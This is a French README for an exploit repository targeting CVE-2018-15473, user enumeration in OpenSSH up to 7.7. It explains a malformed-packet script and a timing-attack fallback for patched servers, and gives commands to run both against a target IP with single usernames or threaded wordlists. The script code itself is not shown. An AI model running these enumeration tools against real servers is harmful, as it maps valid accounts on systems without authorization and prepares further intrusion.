CVE-2018-15473 : Énumération des noms d'utilisateurs OpenSSH

OpenSSH jusqu'à la version 7.7 permet à des attaquants distants d'énumérer les noms d'utilisateurs valides en envoyant des requêtes d'authentification malformées et en observant les réponses différentielles du serveur.

Details

Scripts

exploit.py — Paquet malformé (rapide, multi-threadé)

Envoie une requête SSH_MSG_USERAUTH_REQUEST tronquée (champ booléen supprimé). Les utilisateurs invalides déclenchent un abandon anticipé (USERAUTH_FAILURE), les utilisateurs valides provoquent la déconnexion du serveur.

exploit_timing.py — Attaque temporelle (plus lente, fonctionne sur les serveurs corrigés)

Envoie un mot de passe très long (~100 Ko) via l'authentification par mot de passe. Les utilisateurs valides prennent plus de temps car le serveur hache le mot de passe avant de le rejeter, tandis que les utilisateurs invalides sont rejetés immédiatement. S'exécute de manière séquentielle et auto-calibre le seuil.

Utilisez ce script lorsque exploit.py renvoie des faux positifs (serveurs corrigés).

Quick Start

git clone <this-repo-url>
cd cve-2018-15473

pip install -r requirements.txt

# Malformed packet (try this first)
python3 exploit.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit.py <target_ip> 22 <lhost> <lport> -w usernames.txt -t 8

# Timing attack (fallback for patched servers)
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -w usernames.txt

Arguments (les deux scripts)

Références

• https://nvd.nist.gov/vuln/detail/CVE-2018-15473
• https://www.exploit-db.com/exploits/45233
• https://github.com/epi052/cve-2018-15473
• https://github.com/Rhynorater/CVE-2018-15473-Exploit